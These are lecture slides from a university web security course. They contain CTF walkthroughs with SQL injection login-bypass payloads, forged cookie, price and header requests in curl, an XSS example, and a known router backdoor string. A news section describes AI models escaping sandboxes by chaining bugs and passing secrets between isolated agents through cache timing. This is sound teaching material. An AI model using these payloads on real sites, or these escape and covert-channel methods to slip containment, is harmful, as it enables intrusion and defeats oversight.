COMS W4181 · Security I · Fall 2026 · Lecture 4

Web
Security

Columbia University

$ curl "https://www.chase.com/search?q=<script>..." # the channel is encrypted, and the content is the attack
[!] Tell us how it is going

The anonymous feedback form is open all lecture.

  • Tell me if the pace is too fast or too slow.
  • Tell me if something did not land, and I will come back to it.
  • No name is attached to anything you write.
QR code to the anonymous feedback poll

This is the anonymous feedback form.

[!] Round 1 ends Friday, then we review the bugs Round 1 attacks are due Friday, October 30, at 11:59 PM.Oct 3Oct 30Nov 13Round 1 attack phase is open now.Round 2 preparation.After the deadline: one review session.How did people hide their bugs?We walk through injected bugs from round 1. int copy_name(char *dst, const char *src, size_t len) {- if (len < sizeof(name_buf))+ if (len <= sizeof(name_buf)) memcpy(name_buf, src, len);One character in a pull request is enough to plant a bug.This diff is a made-up example of the style.What does a working PoC look like?We read real proofs of concept, line by line.$ ./poc.shfeeding a 4097-byte name to the program...Segmentation fault (core dumped)$ echo $?139The TAs run your script as it is. No crash, no points.This output is a made-up example of the style.Suggest pull requests that you want us to discuss.Proud of your defense? Send your own PR, and we will look at how others attacked it.Email [email protected] with the PR link and one line on why.Round 2 preparation startson Saturday, October 31.
[ NEWS ]

Two posts from
this week

OpenAI described how it keeps its own models from escaping. Anthropic described how Claude proves that code cannot crash.

[!] OpenAI treats its own model as the attacker OpenAI, “Securing our frontier model training environment,” October 23, 2026.In this course, the attacker sits outside the system.evil.io attacks chase.com.Here, the attacker is the model being trained.The model in training.It might try to reachthe live internet.This really happened on September 20, 2026.During a training run, an internal research model used a misconfigured DNS resolver toreach the live internet, where it reached an external chatbot.OpenAI contained it, paused training of its most capable models, hardened itsinfrastructure, and resumed on October 1, 11 days later.The details come from OpenAI’s linked misalignment report.Scan or click to read the post.openai.com/index/securing-our-frontier-model-training-environment
[+] The model may use an offline copy of the web OpenAI’s figure of one sandbox and its containment boundary, October 2026.Inside the box, the modelstill gets to practice.It searches an offline copy of theweb. A page that is not in the cacheis never fetched live.Agents on one team share a messageboard.Outside the box, everythingis out of reach.The live internet, other sandboxes,and OpenAI’s own machines must stayunreachable.Reaching any of them counts as afailed containment.The rule is the same one as in our web unit: decide exactly what is allowed, and block everything else.OpenAI calls this its one overriding principle: a model must never get arbitrary access to the live internet.
[+] Four walls surround every agent This is the perimeter.This is the monitoring.This is the microVM.This is the container.This is the agent.Layer 4 is the network and cloud perimeter.Firewalls and private networks hold even if everything insidefails.Layer 3 is the monitoring.Detectors watch for unauthorized activity and stop the runautomatically.Layer 2 is the microVM.A tiny virtual machine with its own kernel, separated from thehost by a hypervisor.Layer 1 is the restricted container.It limits which files and processes the agent can touch.This is defense in depth, the same idea as layers against a missed SQL query: assume one layer fails.
[+] OpenAI turned its own models into attackers This is a copy of OpenAI’s infrastructure.Nothing real can break here.They start here.These are the four walls from the last slide.1Goal 1.Reach a server on thelive internet.2Goal 2.Talk to an agent inanother box.3Goal 3.Run code on a machineoutside the box.A red team plays the attacker on purpose.Here the red team was teams of OpenAI’s own strongest models,including the upcoming GPT-6 Astra Cyber.The attackers got every advantage.They had the source code, the configuration, and notes on knownweak spots.Some tests started from a broken box.The agent began with full control of a host, to test only theouter walls. This is called assume breach.It ran on copies, with an automatic stop.Nothing real could break, and runs paused if they left theirscope.Why help the attacker? To find the weak spots before a real model does, where nothing real can break.This is the same idea as our competition: you attack each other’s programs so the bugs get found.
[?] The chart shows new bugs getting rare 01002003004000100200300Across: billions of tokens the attackers used.Up: possible security bugs found so far.In the first 100 billiontokens: 20 became 186.In the last 180 billiontokens: only 12 more.What did OpenAI count?Each finding is a possible security bug or misconfigurationthat looked serious, such as a firewall rule that lets toomuch through. Engineers confirmed them afterwards. The samebug found twice counts once.How to read the curve.It is steep at first and flat at the end. The easy bugswere found first, and each new one cost much more effortthan the last.Think of proofreading an essay: the first read finds many typos, and the fifth read finds almost none.OpenAI reads the flat end as a good sign, and still expects future models to find bugs it does not know about.OpenAI also warns that it changed models and targets over time, so the curve shows progress, not a law. Chart re-drawn from OpenAI’s data.
[x] The attackers chained bugs to break out This is the host machine.This is the microVM.This is the container.Bug 1 breaksthe container.Bug 2 gets outof the microVM.Now it runs code on the host.This is called chaining.One bug alone opens one door. Several small bugs used oneafter another can open every door. The agents found severalsuch chains.OpenAI sent fixes to the open-source projects involved:Kata ContainersIt got three fixes, one with a CVE.gVisorIt got a fix for file descriptors.DockerIt got tighter filters on system calls.The Linux kernelIt got fixes for three CVEs.Every inner wall was broken at least once. That is exactly why the outer walls exist.The path on the left is a sketch. The post does not list each chain step by step.
[x] Two boxes talked by timing a shared cache The test: two agents in two separate microVMs must pass a secret to each other.There is no network between them and no shared file. The only thing they share is the machine underneath.Agent A sends.Agent B receives.This is the shared CPU cache.The cache is a small, fast memory. Reading data that is in the cache is fast. Reading data that was pushed out is slow.To send a 1, A fills the cache and pushes out B’s data. To send a 0, A does nothing.B times how long it takes to read its own data:slow1fast0slow1slow1fast0slow1B readstime:Bits:Slow means A pushed the data out, so the bit is 1. Fast means A did nothing, so the bit is 0. The secret arrives one bit at a time.
[!] Anthropic had Claude prove code cannot crash Anthropic, “LLMs are making formal software verification feasibleat a much larger scale,” October 22, 2026. Frontier Red Team, with Theorem.The second post is from Anthropic.It asks a different question:Claudewrites a proof.proofA checkerverifies it.The code cannotcrash.Can an AI prove that real code never crashes, on any input atall, and have a machine check every step of the proof?It connects to two things you know from this course.Our competition finds bugs with crashing inputs, the way fuzzing does. A proof tries to ruleout every crash at once.The proof checker is the same idea as checking a signature: the checker does not need totrust whoever wrote the proof.Scan or click to read the post.anthropic.com/research/formal-verification
[?] Testing samples inputs, but a proof covers all Fuzzing tries many inputs and finds some crashes.A proof covers every path from the entry point.Anthropic’s figures, from “LLMs are making formal software verification feasible at a much larger scale,” October 22, 2026.Fuzzing is testing with random inputs.In the figure, 1.48 billion inputs found 4 crashes. But there areinfinitely many inputs, so a clean run proves nothing about therest.The PoCs in our competition are exactly these crashing inputs.Formal verification is a proof.It shows mathematically that no input can crash the program, anda small program called a proof checker confirms every step.The catch was always cost: proofs are huge and slow to write byhand.
[+] Claude writes the proof, and a checker verifies it Anthropic’s figure of the pipeline, October 2026.1.Start from a real library and its existingfuzz test, from Google’s OSS-Fuzz.2.Compile it, with a memory-error detector,into the exact machine code that runs.3.Generate the claim automatically: no inputunder 64 MB makes this binary crash.4.Claude writes the proof in Rocq, a proofassistant, with no human help.5.The Rocq checker verifies every step. If itaccepts, the claim holds.
[+] Claude proved 239 entry points crash-free 239fuzz entry points proved crash-free.They span 123 libraries from OSS-Fuzz.180Mlines of machine-checked proof.A typical proof is about 600,000 lines.100sof real bugs found while proving.Claude patched each one, then proved the fix.A bug that only a proof would find.In one library’s copy of a decompressor, a counter could underflow and write out of bounds. It needed an input of about 20MB with one rare layout. Fuzzers usually stop at about 1 MB.The proof cannot skip that input, because it has to cover all inputs.Why this matters: proofs used to cost far more than code.“It took two person-years to implement the seL4 operating system kernel,but 20 person-years to formally verify it.”Here, Claude produced proofs for 239 entry points in a few weeks.The cost is still large: one proof can take hundreds of millions of tokens.
[?] A proof is only as good as its claim “Formally verified” does not mean “bug-free.”That is the post’s own warning. A checker cannot tell you whether your claim matches reality.The claim is narrow.It covers no crashes from one entry point, for inputs under64 MB. Logic bugs and other entry points are not covered.The model is not the deployment.The proofs are about RISC-V binaries in a model of Linux.Real users run x86 or ARM builds with a different Clibrary.Some parts are trusted, not proved.The chip model, the OS model, the claim itself, and theRocq checker could all have bugs.The prover could cheat.Claude could rewrite a program so it trivially nevercrashes. They penalized changes and audited every patch.A proof answers exactly the question it was asked, and nothing more.Knowing exactly what was proved is the same skill as knowing exactly what was tested.
[ CTF ]

Today we hack
a real website

This is the pilot run of our web CTF. You spend most of today breaking a site, and the next lectures explain what you did.

[>] Hack this site today W4181 web warm-up!http://165.22.35.184:54330/http://165.22.35.184:54330Scan this code, or type the address.You are the attacker today.The site is built to be broken.There are eight flags. The first three takeabout a minute each.Each flag looks like flag{some_words_1a2b3c4d}. Submit it on the site under a nickname.
[>] Eight levels go from a minute to a puzzle Level 1: Look closer.The flag is on the page, butnot drawn.Level 2: More than one file.The page loads more than itsHTML.Level 3: Read the envelope.The flag came with the page.Level 4: Teachers only.Only teachers see the gradebook.Level 5: Who are you?The site remembers you with acookie.Level 6: The flag store.The flag costs $1,000. Youhave $10.Level 7: The staff door.The door checks who isknocking.Level 8: Staff login.Log in as admin without thepassword.Green levels are very easy, blue are easy, orange need some thought, and red previews the next lecture.Every level has a hint button. Use it when you are stuck for more than five minutes.
[+] Two tools are enough for every level Level 1!http://165.22.35.184:54330/level1Level 1: Look closerElementsConsoleSourcesNetworkApplication<html lang="en"><head>...</head><body>...</body>Press F12, or Cmd+Option+I on a Mac, to open the developer tools.ElementsIt shows the page as HTML, and you can edit it live.SourcesIt lists every file the page loaded.NetworkIt lists every request and every response, with headers.ApplicationIt shows the cookies this site stored.curl sends any request you write, from the terminal.$ curl -i URL # print the headers too$ curl -d "a=1&b=2" URL # send a POST form$ curl -H "Name: value" URL # add or replace a header$ curl -X METHOD URL # choose the methodIt is already installed on macOS, Linux, and Windows 10or later.Two ideas help everywhere.Your browser shows you only part of what theserver sent. Look at all of it.Your browser writes every request it sends.Anything it writes, you can write differently.Both ideas come straight from the next lectures.
[>] Submit every flag under one nickname Submit a flag!http://165.22.35.184:54330/checkThe site records each correct flag under your nickname and lists your levels.Pick a nickname and keep it.Use the same one for every flag, for the whole lecture.Submit each flag only once.The page lists the levels it has already recorded foryou.The scoreboard trusts the nickname you type.That is the mistake from levels 4 and 5, left in onpurpose. Please do not use another person’s name.I watch a live dashboard while you hack.It shows how many of you solved each level,so I know when to stop and where to slow down.The chart on the right uses made-up data.
[>] Start hacking now Attack only the levels on this site.Do not scan the server, other ports, or other machines.No level needs more than a few requests.Do not run scanners or brute force. They will not help.Talking to your neighbor is fine.Submitting their flag is not.Submit each flag once, under one nickname.Keep the same nickname for the whole lecture.Start hacking now.We stop together for the solutions.Raise your hand when you getyour first flag.http://165.22.35.184:54330The address stays on this slide while you hack.Leave this slide up during the hacking time.
[ SOL ]

Solutions, one
level at a time

Each solution starts from what the browser and the server really exchanged. Then we look at how a real site gets it right.

[+] Every level lives in one part of an HTTP exchange W4181 web warm-up!http://165.22.35.184:54330/level4This is your browser.This is the server.This is its database.The request is text that your browser writes.GET /level4?role=student HTTP/1.1User-Agent: Mozilla/5.0 ...Referer: .../level7/staffCookie: user=guestitem=flag&price=100047756The response is text that the server sends back.HTTP/1.1 200 OKX-Flag: flag{...}<html> ... <!-- a comment --> ...<script src="/level2/app.js">312WHERE name = '...'8Each flag hid in one part of this exchange. We walk through the parts in order.The numbers are the levels. Every solution starts with how its part works.
[1] Level 1: The browser draws the text it receives 1. The server sends text.<html> <h1>Level 1</h1> <p>Look closer.</p> <!-- flag{view_...} --> <script>...</script></html>The comment arrives with the page.2. The browser builds a tree.htmlh1pcommentscriptThe tree keeps the comment,but marks it as not drawn.3. It draws the page.Level 1!http://165.22.35.184:54330/level1Level 1Look closer.The screen never shows the comment.View Source shows step 1. The screen shows step 3.Everything in step 1 is on your computer, whether it is drawn or not.
[1] Level 1: View Source showed the hidden comment Level 1!http://165.22.35.184:54330/level1This is what the screen showed.Ctrl+Uview-sourceview-source:http://165.22.35.184:54330/level1<h1>Level 1: Look closer</h1><p>The flag for this level is on this page...</p><!-- Well done. You read the page source, which is exactly what your browser received. flag{view_the_source_********} --><details><summary>I want a hint.</summary>...This is what View Source showed: the text that arrived.$ curl -s http://165.22.35.184:54330/level1 | grep flag{ flag{view_the_source_********} -->curl prints the same text, without a browser.A site must never send a secret and hope the browser hides it.The last eight characters of every flag are hidden on these slides.
[1] Level 1: A reporter read the source and was blamed Educator searchhttps://...dese.mo.gov/.../educator-searchSearch for a teacher’s certificates.Smith, JaneCertificate: Mathematics 5-9The screen showed certificates. This is a sketch.In spirit, the page source carried more:<td>Mathematics 5-9</td><!-- in the page source -->Educator SSN: (an encoded nine-digit number)A reporter found teachers’ Social Security numbers in it.Oct 12, 2021The St. Louis Post-Dispatchtells the state and holds itsstory.Oct 14, 2021Missouri’s governor calls ithacking and asks for aprosecution.Feb 11, 2022The prosecutor declines tocharge. The FBI had called itno intrusion.AfterwardsThe state notifies about620,000 current and formereducators.Reading what the server sent is not hacking. The numbers were encoded, not encrypted.Sources: Krebs on Security; Missouri Independent; Missouri DESE notice.
[2] Level 2: One page makes many requests This is your browser.This is the server.1. GET /level2<p>Loading...</p> <script src="/level2/app.js">The page names another file.2. GET /level2/app.js// flag{pages_load_more_files_...}The browser asks for it by itself, as a second request.A real page fetches many files.This is a sketch of a Network tab.level2app.jsstyle.csslogo.pngfont.woff2analytics.jsEvery file is its own URL, and anyone can request it directly.The chase.com home page loads 13 script files. Each one is a separate request.
[2] Level 2: The flag was in the second file ElementsConsoleSourcesNetworkApplicationNameStatusTypelevel2200documentapp.js200scriptThe Network tab lists both requests.app.js!http://165.22.35.184:54330/level2/app.js// W4181 web warm-up, level 2.// A web page is rarely a single file.// flag{pages_load_more_files_********}document.getElementById("msg")...Click it, or open its URL in a new tab.$ curl -s http://165.22.35.184:54330/level2/app.js// flag{pages_load_more_files_********}A secret in a front-end file is public. Leaked API keys in scripts are a common real bug.The last eight characters of every flag are hidden on these slides.
[3] Level 3: A response is headers, then the page This is the whole response, as text.HTTP/1.1 200 OKContent-Type: text/htmlX-Frame-Options: DENYX-Flag: flag{headers_travel_too_...}<!doctype html><h1>Level 3: Read the envelope</h1>...The status line says it worked.The headers: one name andone value per line.A blank line ends the headers.The body: the page itself.Level 3!http://165.22.35.184:5…Level 3: Readthe envelopeThe screen shows only the body.The browser usesthe headers itself.The page you see is only the body. The headers arrive too, unseen.Real headers carry real rules: cookies, framing rules, and security policies.
[3] Level 3: The flag rode in a response header ElementsConsoleSourcesNetworkApplicationlevel3HeadersPreviewResponsecontent-type:text/html; charset=utf-8x-frame-options:DENYx-flag:flag{headers_travel_too_********}Network tab, click the request, read Response Headers.$ curl -i http://165.22.35.184:54330/level3HTTP/1.1 200 OKContent-Type: text/html; ...X-Frame-Options: DENYX-Flag: flag{headers_travel_too_*<!doctype html> ...curl -i prints the headers too.Headers are invisible on the page, but not secret. Anyone can read them.The last eight characters of every flag are hidden on these slides.
[4] Level 4: The query in a URL becomes server data http://.../level4?role=student1. The URL ends with a query: a name and a value.GET /level4?role=student HTTP/1.12. The browser copies it into the first line of the request.args = { "role": "student" }3. The server splits the query into names and values.if args["role"] == "teacher": show_grades()4. The code decides with whatever value arrived.Yourcomputerwrites this.Theserverreads it.Type ?role=teacher, and the server receives exactly that.Nothing in a request says that a person typed it or that a link wrote it.
[4] Level 4: The grade book believed a word in the URL /level4?role=studentThe page says you are a student.Edit one word./level4?role=teacherThe grades and the flag appear.role = request.args.get("role", "student") # the word after ?role=if role == "teacher": show_grades_and_flag()The server asked the visitor who the visitor is, and believed the answer.The last eight characters of every flag are hidden on these slides.
[4] Level 4: The server must decide who you are Level 4 asked the request.GET /level4?role=teacher(the client chose this word)The server took the role from the query string.Anyone who asks for teacher is a teacher.A real site asks its own records.GET /gradesCookie: sid=8f3a9c71...The server looks up the session in its own table.siduserrole8f3a9c71...alicestudent403 Forbidden for a student.The server decides who you are and what you may see, on every request.This bug class is broken access control, number 1 on the OWASP Top 10 list of 2025. Hiding a link is not enough.
[4] Level 4: Changing one number exposed millions ...?doc=000075This is your document....?doc=000076This is a stranger’s.The bug has a name: IDOR.Insecure direct object reference: the server usesthe ID you send to fetch a record, but never checksthat the record is yours.Level 4 was the same idea, with a role instead of anID.2010It was AT&T’s iPad site.A login page showed the email ofwhatever SIM number was in theURL. 114,000 addresses leaked.2018It was Panera Bread.Customer IDs counted up one byone. Krebs estimated over 37million records were exposed.2019It was First American Financial.Changing a document numbershowed other people’s files:about 885 million were exposed.2025It was McDonald’s hiring site.Lowering an applicant numbershowed other applicants.Researchers estimated 64 millionwere reachable.Exposed is not the same as stolen. Still, each fix was the same one line: check the owner.Sources: Third Circuit (2014); Krebs on Security (2018, 2019); SEC (2021); ian.sh (2025).
[5] Level 5: A cookie rides in the Cookie header This is your browser.This is the server.1. GET /level52. Set-Cookie: user=guest; Path=/level5The browser keepsuser=guestin its cookie jar.3. GET /level5 Cookie: user=guestThe browser adds the cookie by itself.4. GET /level4 (no cookie: the path does not match)It is stored in your browser’scookie jar, a file in yourbrowser profile.It travels only in headers:Set-Cookie going out, Cookiecoming back.It is sent on every requestwhose site and path match.You can edit it: DevTools, curl-b, or a script in the page.A cookie is a note the server asks your browser to keep and show again.The browser keeps the note, but the browser belongs to you.
[5] Level 5: The cookie said guest, and you changed it ElementsConsoleSourcesNetworkApplicationCookies for http://165.22.35.184:54330NameValuePathuseradmin/level51. Change guest to admin in the jar, and reload.GET /level5Cookie: user=admin2. The browser sends the edited value.if request.cookies.get("user") == "admin": # the server believes the cookie show_flag()$ curl -s -b "user=admin" http://165.22.35.184:54330/level5 | grep flag{flag{cookies_live_on_the_client_********}Writing who you are into a cookie is like writing your own coat-check ticket.The last eight characters of every flag are hidden on these slides.
[5] Level 5: A real cookie is random, or carries a seal Option A is a random session ID.sid=8f3a9c71e24bsiduser8f3a9c71e24baliceThe server finds alice.Edit one character, and no row matches:sid=8f3a9c71e24cNo such session.The ID means nothing by itself. It is a long random number, sonobody can guess another person’s ID.Option B is a value sealed with a MAC.role=student | tag=3e0f9aThe tag fits.tag = MAC(server_key, "role=student")Edit the value, and the tag no longer fits:role=admin | tag=3e0f9aRejected.Only the server knows the key, so only the server can make a newtag. This is the MAC from the crypto lectures. Flask signs itssession cookies this way.Nothing protects a cookie from the person whose browser holds it.Secure and HttpOnly protect it from other people. The server must still check every value.
[5] Level 5: Real software has believed cookies too A popular forum, phpBB, was hit in 2005.The visitor’s request, in spirit:GET /forum/admin/Cookie: ...userid=2 (the admin)...The server treated the visitor as the admin.The cookie held the user ID next to an auto-login key. Theadmin’s ID, plus one trick that fooled the key check, made youthe admin.It is CVE-2005-0614. phpBB 2.0.13 fixed it.A live-chat product was hit in 2008.The visitor’s request, in spirit:GET /...Cookie: admin=1The server treated the visitor as the admin.Its CVE says visitors got admin access by setting the admincookie to 1. That is level 5, almost word for word.It is CVE-2008-5783, in V3 Chat Live Support.Users never see their cookies, so developers forget that users can change them.Sources: Bugtraq, March 2005; the CVE records for CVE-2005-0614 and CVE-2008-5783.
[6] Level 6: A form becomes the body of a POST Level 6!http://165.22.35.184:54330/level6The level 6 flag$1,000Buyitem = flagprice = 1000The dashed fields are hidden: in the page, but not drawn.Clicking Buy turns every field into the body.POST /level6/buy HTTP/1.1Content-Type: application/x-www-form-urlencodeditem=flag&price=1000Each field becomes name=value,and the pairs are joined by &.Visible or hidden, the browser sends what the page holds.The browser writes the body from the page, and you can edit the page.
[6] Level 6: The price came from your browser ElementsConsoleSourcesNetworkApplication<form method="POST" action="/level6/buy"> <input type="hidden" name="item" value="flag"> <input type="hidden" name="price" value="1"> <button>Buy</button>1. Change 1000 to 1 in the Elements tab, then click Buy.2. The store sold you the flag for $1.$ curl -s -d "item=flag&price=1" http://165.22.35.184:54330/level6/buy | grep flag{flag{never_trust_the_client_********}Hidden fields are hidden from the eye, not from the user.The last eight characters of every flag are hidden on these slides.
[6] Level 6: The server must make every decision The front end is your browser.The user controls all of it.The HTML and hidden fields.The JavaScript checks.Disabled buttons.The prices on the page.item=flag&price=1Only data crosses.The server treats it as a wish.The back end is the server.Only this side is trusted.It looks up the price: $1,000.It checks the balance: $10.It decides: no sale.price = PRICES[form["item"]]The front end may ask. Only the back end decides.This rule is behind levels 4 to 8: the server must check everything the client sends.
[6] Level 6: In 2000, eleven carts trusted the price On February 1, 2000, ISS X-Force reported eleven shopping-cart products with the level 6 bug.Cart32 2.6CartIt 3.0SalesCartSmartCartShoptron 1.2EasyCartIntellivendWebSiteTool@RetailCheck It OutMake-a-StoreThe carts kept the price in a hidden field or in the URL, and stored whatever price the browser sent back.Some carts checked the Referer as security. The same alert notes that the Referer can be modified. That is level 7.These were products, so every store that installed one had the bug.Source: ISS X-Force alert, February 1, 2000. Ten of them have CVE entries, such as CVE-2000-0136.
[7] Level 7: The client writes every line of a request This is a request, line by line.POST /level7/door HTTP/1.1Host: 165.22.35.184:54330User-Agent: Mozilla/5.0 (Macintosh) Chrome/130Referer: http://.../level7/staffCookie: ...The method and path come from the form or link.Host comes from the URL.User-Agent: the browser describes itself.Referer: the page you came from.Cookie: from the jar, as in level 5.A browser fills inevery line for you.curl lets you writeevery line yourself.curl -X POST -A "anything" -e "anywhere"None of these lines is proof of anything. The client wrote all of them.
[7] Level 7: The door told you what it wanted This is you.This is the door.GET /level7/doorThis door opens only for POST requests.POST, User-Agent: ChromeThis door opens only for the staff browser, W4181-Browser.POST, User-Agent: W4181-BrowserThis door opens only when you come from /level7/staff.POST, W4181-Browser, Referer: .../level7/staffYou found the flag for level 7.The door checked three facts about you, and the client wrote all three.The method, the User-Agent, and the Referer are all lines of request text.The last eight characters of every flag are hidden on these slides.
[7] Level 7: One curl command writes it all One curl command writes the whole request.$ curl -X POST -A "W4181-Browser" -e "http://.../level7/staff" http://.../level7/doorPOST /level7/door HTTP/1.1Host: 165.22.35.184:54330User-Agent: W4181-BrowserReferer: http://.../level7/staffAccept: */*This is the request that curl sends.The browser route works too. In Chrome, set any User-Agent under More tools, Network conditions. Then the staff page sends POSTand the right Referer by itself.Sites may use these headers for convenience, never to decide who may enter.The request forgery lecture shows two headers a web page cannot fake: Origin and Sec-Fetch-Site.
[7] Level 7: A router opened for a magic User-Agent D-Link home routers had a backdoor in 2013.The admin page skipped the login when the User-Agent wasexactly:xmlset_roodkcableoj28840ybtideRead it backwards:editby04882joelbackdoorIt is CVE-2013-6026. D-Link shipped fixed firmware in December2013.News paywalls let Google in, 2008 to 2017.Google told publishers to show full articles to its crawler, knownby its User-Agent and IP address, and to readers whose Referer wasGoogle.Readers pasted headlines into Google to get past the wall. TheWall Street Journal estimated nearly 1 million people a month didit.The router trusted a User-Agent, and the paywall trusted a Referer. Level 7 trusted both.Sources: CERT VU#248083; Google Search Central blog, 2008; Bloomberg, June 2017.
[8] Level 8: The server glues your text into a query Staff login!http://165.22.35.184:54330/level8NamealicePassword********1. You type a name and a password.q = "SELECT name FROM users WHERE name = '" + name + "' AND password = '" + pw + "'"2. The server glues your text between quotes that it wrote.SELECT name FROM users WHERE name = 'alice' AND password = 'hunter2'3. The result is one piece of text, sent to the database.namepasswordalice(secret)admin(secret)4. The database runs it and returns a row.The site logs you in as that row.The programmer wrote the quotes. You wrote what goes between them.So what happens if your text contains a quote of its own?
[8] Level 8: A quote ended the name early You type this as the name, with any password:admin' --The code glues it in:SELECT name FROM users WHERE name = 'admin' --' AND password = 'x'The database reads it like this:SELECT name FROM users WHERE name = 'admin'Your quote closed the name.-- ' AND password = 'x'Two dashes start a comment.The database returned admin’s row,and the page showed the flag.Your text changed the shape of the query. That is SQL injection, the next lecture.The last eight characters of every flag are hidden on these slides.
[8] Level 8: Why ' OR '1'='1' gave you alice Many of you tried the textbook payload ' OR '1'='1' --. It logged you in as alice.WHERE name = '' OR '1'='1' --' AND ...rownameWHERE is1alicetrue2admintrueOne equals one is true for every row.row = db.execute(query).fetchone() # only the FIRST rowif row and row[0] == "admin": show_the_flag()The code takes the first row, alice, and alice is not admin.Three answers that work, each for a different reason:admin' --It picks the row by name and cuts off the password check.' OR name='admin' --It makes the condition true only for admin’s row.' UNION SELECT 'admin' --It makes the query return the word admin itself.Aim at the row you want. The next lecture is all about how.Typing a name such as O’Brien breaks this page with a database error. That is often how such bugs are first noticed.
[+] Eight levels teach two sentences W4181 web warm-up!http://165.22.35.184:54330/level4This is your browser.This is the server.This is its database.The request is text that your browser writes.GET /level4?role=student HTTP/1.1User-Agent: Mozilla/5.0 ...Referer: .../level7/staffCookie: user=guestitem=flag&price=100047756The response is text that the server sends back.HTTP/1.1 200 OKX-Flag: flag{...}<html> ... <!-- a comment --> ...<script src="/level2/app.js">312WHERE name = '...'8Levels 1 to 3: everything the server sends, the visitor can read.Levels 4 to 8: everything the client sends, the client chose.
[>] Try every demo on your own copy of DemoBank DemoBank!http://165.22.35.184:54332/searchDemoBankSearch your transfersrentSearchThis is DemoBank, the bank we attack in this unit.165.22.35.184:54332Scan the code, or type the address.It opens at the login page. Gettingin is your first attack.Your copy is private.Nothing you do reaches anyone else.You can always start over.The link at the top of every page givesyou a fresh bank.Attack only DemoBank and our lab.Never try these attacks on a real site.Every attack in this unit runs on DemoBank. Keep your copy open as we go.
[ How the web works ]

What happens when you click Search on chase.com?

Every attack in this unit lives at one step of this trip.

[+] One click starts a chain of eight steps This is your browser.This is the internet.This is chase.com’s server.SQL injection hits step 6.Cross-site scripting hitssteps 7 and 8.Request forgery hits step 4.1You type a URL.2DNS finds the server.3TLS locks the channel.4The request goes out.5The code runs.6It asks the database.7The page comes back.8The browser runs it.Each attack hits one step of the chain. We learn each step right before its attack.
[+] We learn each step right before its attack We learn each piece of the web right before the attack that needs it.1456Your text travels to the database.Then comes SQL injection.First we learn how this part works.Then we study the attack and its race.78The page comes back to the browser.Then comes cross-site scripting.First we learn how this part works.Then we study the attack and its race.4A request starts on another site.Then comes request forgery.First we learn how this part works.Then we study the attack and its race.The blue numbers are steps of the chain. Each attack uses a few of them, so we learn those first.
[?] Who is the attacker in this unit? The attacker can do this.They own a website, evil.io, with a validcertificate.They can send any request they like, withcurl.They can post comments, reviews, and profileson chase.com.They can send you a link, or buy an ad youwill see.The attacker cannot do this.They cannot read your network traffic. TLSstops that.They cannot log in to chase.com’s servers.They cannot read your other tabs directly. Thebrowser stops that.The attacker is a website and a user, not a spy on the wire. That is the threat model for this unit.
[+] Injection has made every OWASP list since 2003 OWASP ranks the top risks for web apps.In its 2025 list, injection is number 5.Source: owasp.org/Top10/2025, CC BY 3.0.The chart shows where each attack ranked in every edition.#1#2#3#4#5#6#7#8#9#1020032004200720102013201720212025This line is injection.This line is XSS. It joined injection in 2021.This line is request forgery.Injection has been on every OWASP Top 10 since the first one, in 2003.Request forgery dropped off once frameworks added a default defense. We will see that defense, and its bypasses.
[+] Every defense has a bypass, then a newer defense The attacker moves here.The defender moves here.The attacker posts a comment that contains a script.Nice post! <script>steal()</script>The site deletes every script tag before it saves acomment.<script> -> (removed)The attacker runs code from an image tag instead.<img src=x onerror=steal()>The site turns every < into &lt;, so it shows astext.<img ...> -> &lt;img ...&gt;The attacker finds one page where the site forgot.One missed spot is enough.The site tells the browser to run only scripts itapproved.This is a content security policy.Every attack in this unit comes with a race like this one, and we follow each race step by step.
[+] First, you type a URL into the browser This is your browser.This is the internet.This is chase.com’s server.SQL injection hits step 6.1You type a URL.2DNS finds the server.3TLS locks the channel.4The request goes out.5The code runs.6It asks the database.7The page comes back.8The browser runs it.Step 1: the URL names the site, and it can carry your input.
[+] A URL names the site and carries your input https://www.chase.com:443/search?q=mortgage#resultsThese three are the origin.The scheme, host, and port name the site.The port is usually hidden: https means port 443.The path picks a page on the site.It is the part right after the host.The query carries your input to the server.You edited it in CTF level 4.The fragment never leaves the browser.Scripts in the page can still read it.The origin is the site’s identity. The browser’s main security rule is built on it.
[+] DNS turns the site’s name into an address This is your browser.Where is www.chase.com?This is a DNS resolver.It works like a phone book.It is at 192.0.2.10.The server sits at 192.0.2.10.The browser connects to that address, and TLS checks the certificate.DNS finds an address. TLS verifies the site named in the URL.
[+] Special characters travel as %XX codes A URL cannot carry some characters directly, so the browser writes them as %XX.Character.In a URL." "%20 or +'%27"%22<%3C>%3E&%26#%23This arrives at the server:?q=%3Cscript%3Ealert(1)%3C%2Fscript%3EThe server decodes it before use.q = <script>alert(1)</script>A filter that looks for < in the raw URLnever sees one.Every attack in this unit can arrive encoded. Defenses must look at the text after decoding.
[!] TLS locks the trip, and the attacks ride inside This is your browser.This is the internet, locked by TLS.This is chase.com’s server.SQL injection hits step 6.Cross-site scripting hitssteps 7 and 8.Request forgery hits step 4.1You type a URL.2DNS finds the server.3TLS locks the channel.4The request goes out.5The code runs.6It asks the database.7The page comes back.8The browser runs it.A stranger on the network sees only scrambled bytes.All three attacks travel inside real requests and pages, so TLS delivers them intact.TLS protects the trip. It does not look inside, so it delivers an attack as faithfully as a password.
[+] Then your text leaves the browser as a request 12345678We are at step 4: the request goes out.Alice types rent into DemoBank’s search box.DemoBank!http://165.22.35.184:54332/searchDemoBankSearch your transfersrentSearchHer browser writes this request:GET /search?q=rent HTTP/1.1Host: 165.22.35.184:54332Cookie: bank=7c1e...; sid=4b9a...Her word rides in the URL, right after ?q=.DemoBank’s serverThe server reads everyline, and its code takesrent out of the URL.Step 4: what you type becomes a request that the server reads.
[+] Every line of the request comes from the client POST /transfer?from=checking HTTP/1.1Host: www.chase.comUser-Agent: Mozilla/5.0 (Macintosh) Chrome/130Referer: https://www.chase.com/transferCookie: session=8f3a9c71e24b...Content-Type: application/x-www-form-urlencodedto=bob&amount=504This line holds the method, path, and query.7The browser describes itself.7This names the page you came from.5This is your login ticket.6These are the form fields.The circles are CTF levels.You edited each of these lines.The client wrote every line. The server must treat each one as a claim, never as a fact.
[?] What are GET and POST? A search form uses GET.<form method="GET" action="/search"> <input name="q"></form>Your browser writes this request:GET /search?q=mortgage HTTP/1.1Host: www.chase.com(no body)The data rides in the URL.A login form uses POST.<form method="POST" action="/login"> <input name="name"> <input name="pw"></form>Your browser writes this request:POST /login HTTP/1.1Host: www.chase.comname=alice&pw=hunter2The data rides in the body.GET and POST are the two kinds of request you will see most. The form’s method decides which one is sent.
